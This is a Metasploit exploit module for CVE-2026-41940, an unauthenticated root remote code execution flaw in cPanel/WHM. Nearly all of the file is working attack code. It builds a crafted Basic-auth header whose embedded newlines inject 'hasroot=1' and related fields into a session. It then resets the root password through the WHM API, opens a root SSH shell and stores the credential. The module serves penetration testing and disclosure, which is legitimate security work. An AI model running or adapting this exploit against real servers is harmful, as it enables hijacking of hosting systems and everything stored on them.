cPanel/WHM CRLF Injection Authentication Bypass RCE

# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::SSH
  include Msf::Exploit::Retry
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'cPanel/WHM CRLF Injection Authentication Bypass RCE',
        'Description' => %q{
          Exploits CVE-2026-41940, a CRLF injection in cPanel/WHM's cpsrvd daemon
          that allows unauthenticated remote code execution as root.

          The Basic-auth handler writes the password to the raw session file without
          stripping newlines. Omitting the ob-part of the session cookie bypasses the
          encoder, so injected fields land verbatim in the raw file. A subsequent
          request to /scripts2/listaccts triggers Cpanel::Session::Modify to promote
          those fields into the authoritative session cache, granting root WHM access.

          RCE uses the WHM JSON API passwd endpoint to set a temporary root password,
          then delivers the payload over SSH. The password is rotated after exploitation.
          This module does not restore the original root password.

          Affects all versions after 11.40. Fixed per branch: 11.86.0.41, 11.110.0.97,
          11.118.0.63, 11.124.0.35, 11.126.0.54, 11.130.0.19, 11.132.0.29, 11.134.0.20,
          11.136.0.5 (cPanel/WHM) and 136.1.7 (WP2).
        },
        'Author' => [
          'Sina Kheirkhah', # Initial analysis and PoC (watchTowr)
          'Adam Kues',      # High-fidelity check technique (SLC Cyber)
          'Shubham Shah',   # High-fidelity check technique (SLC Cyber)
          'Crypto-Cat',     # Metasploit module (Rapid7)
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-41940'],
          ['EDB', '52574'],
          ['URL', 'https://support.cpanel.net/hc/en-us/articles/40073787579671'],
          ['URL', 'https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/'],
          ['URL', 'https://slcyber.io/research-center/high-fidelity-check-for-the-cpanel-authentication-bypass-cve-2026-41940/'],
          ['URL', 'https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass/'],
        ],
        'DisclosureDate' => '2026-04-28',
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Payload' => {
          'Compat' => {
            'PayloadType' => 'cmd_interact',
            'ConnectionType' => 'find'
          }
        },
        'Privileged' => true,
        'Targets' => [
          ['Automatic', {}],
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 2087,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'WHM base path', '/']),
      OptPort.new('SSHPORT', [true, 'SSH port on the target', 22])
    ])

    register_advanced_options([
      OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),
      OptInt.new('VerifyTimeout', [true, 'Seconds to wait for auth bypass to be confirmed after session cache promotion', 10])
    ])
  end

  def mint_session
    # Random username avoids cpHulk lockout; any user works on WHM for session minting
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'login'),
      'vars_get' => { 'login_only' => '1' },
      'vars_post' => { 'user' => Rex::Text.rand_text_alpha(8), 'pass' => Rex::Text.rand_text_alpha(12) }
    )
    fail_with(Failure::Unreachable, 'No response from /login') unless res

    # MSF joins multiple Set-Cookie headers into one string; use get_cookies
    m = res.get_cookies.match(/(?:\A|;\s*)whostmgrsession=([^;,\s]+)/i)
    fail_with(Failure::UnexpectedReply, 'No whostmgrsession cookie in /login response') unless m

    session_name = Rex::Text.uri_decode(m[1]).split(',', 2).first
    vprint_status("Session name: #{session_name}")
    session_name
  end

  def inject_session_fields(session_name)
    # \xff prefix bypasses set_pass() \x00 check; LF-only separates injected fields
    raw_creds = "root:\xff\nsuccessful_internal_auth_with_timestamp=9999999999\nuser=root\ntfa_verified=1\nhasroot=1"
    cookie_enc = Rex::Text.uri_encode(session_name)

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'headers' => {
        'Authorization' => "Basic #{Rex::Text.encode_base64(raw_creds)}",
        'Cookie' => "whostmgrsession=#{cookie_enc}"
      }
    )
    fail_with(Failure::Unreachable, 'No response from /') unless res

    m = res.headers['Location'].to_s.match(%r{(/cpsess\d{10})})
    fail_with(Failure::NotVulnerable, "No /cpsessXXXX token in redirect (HTTP #{res.code}). Target may be patched.") unless m

    vprint_status("Security token: #{m[1]}")
    m[1]
  end

  def promote_session_cache(session_name)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'scripts2', 'listaccts'),
      'headers' => { 'Cookie' => "whostmgrsession=#{Rex::Text.uri_encode(session_name)}" }
    )
    fail_with(Failure::Unreachable, 'No response from /scripts2/listaccts') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected response from listaccts (HTTP #{res.code})") unless res.code == 401

    vprint_status('Session fields promoted to cache')
  end

  def verify_auth_bypass(session_name, token)
    # Retry until /json-api/version confirms auth or VerifyTimeout is reached.
    # do_token_denied promotes the raw session fields to the JSON cache asynchronously;
    # the first attempt may arrive before cpsrvd finishes writing the JSON cache file.
    retry_until_truthy(timeout: datastore['VerifyTimeout']) do
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, token, 'json-api', 'version'),
        'headers' => { 'Cookie' => "whostmgrsession=#{Rex::Text.uri_encode(session_name)}" }
      )
      res&.code == 200 && res.body.to_s.include?('"version"')
    end
  end

  def whm_api_call(session_name, token, function, params = {})
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, token, 'json-api', function),
      'vars_get' => { 'api.version' => '1' },
      'vars_post' => params,
      'headers' => { 'Cookie' => "whostmgrsession=#{Rex::Text.uri_encode(session_name)}" }
    )
    fail_with(Failure::Unreachable, "No response from json-api/#{function}") unless res

    res
  end

  def check
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'login'),
      'vars_get' => { 'login_only' => '1' },
      'vars_post' => { 'user' => Rex::Text.rand_text_alpha(8), 'pass' => Rex::Text.rand_text_alpha(12) }
    )
    return CheckCode::Unknown('No response from /login') unless res

    m = res.get_cookies.match(/(?:\A|;\s*)whostmgrsession=([^;,\s]+)/i)
    return CheckCode::Unknown('No whostmgrsession cookie from /login') unless m

    cookie_full_raw = m[1]
    session_name = Rex::Text.uri_decode(cookie_full_raw).split(',', 2).first

    # Inject expired=1 for a throwaway user to avoid lockout risk
    b64 = Rex::Text.encode_base64("u#{Rex::Text.rand_text_hex(10)}:\xff\nexpired=1")

    res2 = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'headers' => {
        'Authorization' => "Basic #{b64}",
        'Cookie' => "whostmgrsession=#{Rex::Text.uri_encode(session_name)}"
      }
    )
    return CheckCode::Detected('Service is running but injection endpoint did not respond') unless res2

    m2 = res2.headers['Location'].to_s.match(%r{(/cpsess\d{10})})
    return CheckCode::Safe('No cpsess token - injection did not land') unless m2

    # On a vulnerable target the injected expired=1 surfaces in the session page body
    res3 = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, m2[1], '/'),
      'headers' => { 'Cookie' => "whostmgrsession=#{cookie_full_raw}" }
    )
    return CheckCode::Detected('Service is running and injection landed (cpsess token obtained), but verification request did not respond') unless res3

    body = res3.body.to_s
    if body.include?('msg_code:[expired_session]')
      return CheckCode::Vulnerable('CRLF injection confirmed: expired_session marker detected')
    end

    CheckCode::Safe('Injection payload was filtered - target appears patched')
  end

  def exploit
    if datastore['DefangedMode']
      fail_with(Failure::BadConfig, <<~MSG.squish)
        This module permanently changes the root password on the target system
        and does not restore the original value. Set DefangedMode to false if
        you have authorization to proceed.
      MSG
    end

    tmp_pass = Rex::Text.rand_text_alphanumeric(16) + '!aA1'

    print_status('Minting pre-auth session')
    session_name = mint_session

    print_status('Injecting session fields via CRLF')
    token = inject_session_fields(session_name)

    print_status('Triggering session cache promotion')
    promote_session_cache(session_name)

    print_status('Verifying WHM root access')
    fail_with(Failure::NotVulnerable, 'Auth bypass failed') unless verify_auth_bypass(session_name, token)
    print_good('Auth bypass successful - root WHM session obtained')

    report_vuln(
      host: rhost,
      port: rport,
      proto: 'tcp',
      name: 'cPanel/WHM CRLF Injection Authentication Bypass (CVE-2026-41940)',
      info: 'Unauthenticated root WHM session via CRLF injection in cpsrvd session handling',
      refs: references
    )

    print_status('Setting temporary root password')
    res = whm_api_call(session_name, token, 'passwd', 'user' => 'root', 'password' => tmp_pass)
    body = res.body.to_s
    passwd_json = nil
    begin
      passwd_json = res.get_json_document
    rescue StandardError
      nil
    end

    if res.code == 500 && body.include?('License')
      fail_with(Failure::NoAccess, 'WHM passwd API requires a valid cPanel license')
    end

    # cPanel versions have two different passwd API response formats:
    # - Older versions: {"status": 1, ...}
    # - Newer versions: {"metadata": {"result": 1}, ...}
    # Accept either to maintain compatibility across versions.
    passwd_ok = passwd_json&.[]('status') == 1 || passwd_json&.dig('metadata', 'result') == 1
    unless res.code == 200 && passwd_ok
      fail_with(Failure::UnexpectedReply, "passwd API returned HTTP #{res.code}: #{body[0..200]}")
    end
    @tmp_pass_set = true
    print_good('Root password set')

    print_status('Connecting via SSH')
    ssh = nil
    begin
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, 'root', ssh_client_defaults.merge(
          auth_methods: ['password'],
          password: tmp_pass,
          port: datastore['SSHPORT']
        ))
      end
    rescue ::Net::SSH::AuthenticationFailed => e
      restore_passwd(session_name, token)
      fail_with(Failure::NoAccess, "SSH authentication failed: #{e.message}")
    rescue ::Net::SSH::Exception, ::Timeout::Error, ::EOFError => e
      restore_passwd(session_name, token)
      fail_with(Failure::Unreachable, "SSH connection failed: #{e.message}")
    end

    # Use the SSH channel directly as the session.
    # handler(conn.lsock) must be the LAST call - it notifies the session waiter
    # event that ExploitDriver polls after exploit() returns.
    conn = Net::SSH::CommandStream.new(ssh, logger: self)

    # Rotate the temporary password before handing off to the session.
    # This ensures the temp cred is short-lived even if the operator never
    # backgrounds the shell.
    if @tmp_pass_set
      print_status('Rotating root password')
      new_pass = Rex::Text.rand_text_alphanumeric(20) + '!aA1'
      rotated = false
      begin
        whm_api_call(session_name, token, 'passwd', 'user' => 'root', 'password' => new_pass)
        print_good('Root password rotated')
        @tmp_pass_set = false
        rotated = true
      rescue StandardError
        # If the passwd call fails (likely due to session expiration before rotation),
        # re-exploit to get a fresh auth bypass session and retry rotation.
        begin
          sn2 = mint_session
          tok2 = inject_session_fields(sn2)
          promote_session_cache(sn2)
          whm_api_call(sn2, tok2, 'passwd', 'user' => 'root', 'password' => new_pass)
          print_good('Root password rotated')
          @tmp_pass_set = false
          rotated = true
        rescue StandardError => e
          print_warning("Could not rotate root password: #{e.message}")
          print_warning('Root password may still be set to the temporary value')
        end
      end

      # Store credential separately so a database error does not trigger re-exploitation.
      # origin_type :service is required by create_credential_and_login when service_data
      # is explicitly provided.
      if rotated
        begin
          store_valid_credential(
            user: 'root',
            private: new_pass,
            service_data: {
              origin_type: :service,
              address: rhost,
              port: datastore['SSHPORT'],
              service_name: 'ssh',
              protocol: 'tcp',
              workspace_id: myworkspace_id
            }
          )
        rescue StandardError => e
          vprint_warning("Could not save credential to database: #{e.message}")
        end
      end
    end

    handler(conn.lsock)
  ensure
    # If an exception was raised after password change but before session opens,
    # warn the operator that temporary credentials may still be active.
    if @tmp_pass_set
      print_warning('Root password may still be set to the temporary value')
    end
  end

  private

  def restore_passwd(session_name, token)
    whm_api_call(session_name, token, 'passwd',
                 'user' => 'root', 'password' => Rex::Text.rand_text_alphanumeric(20) + '!aA1')
  rescue StandardError
    nil
  end
end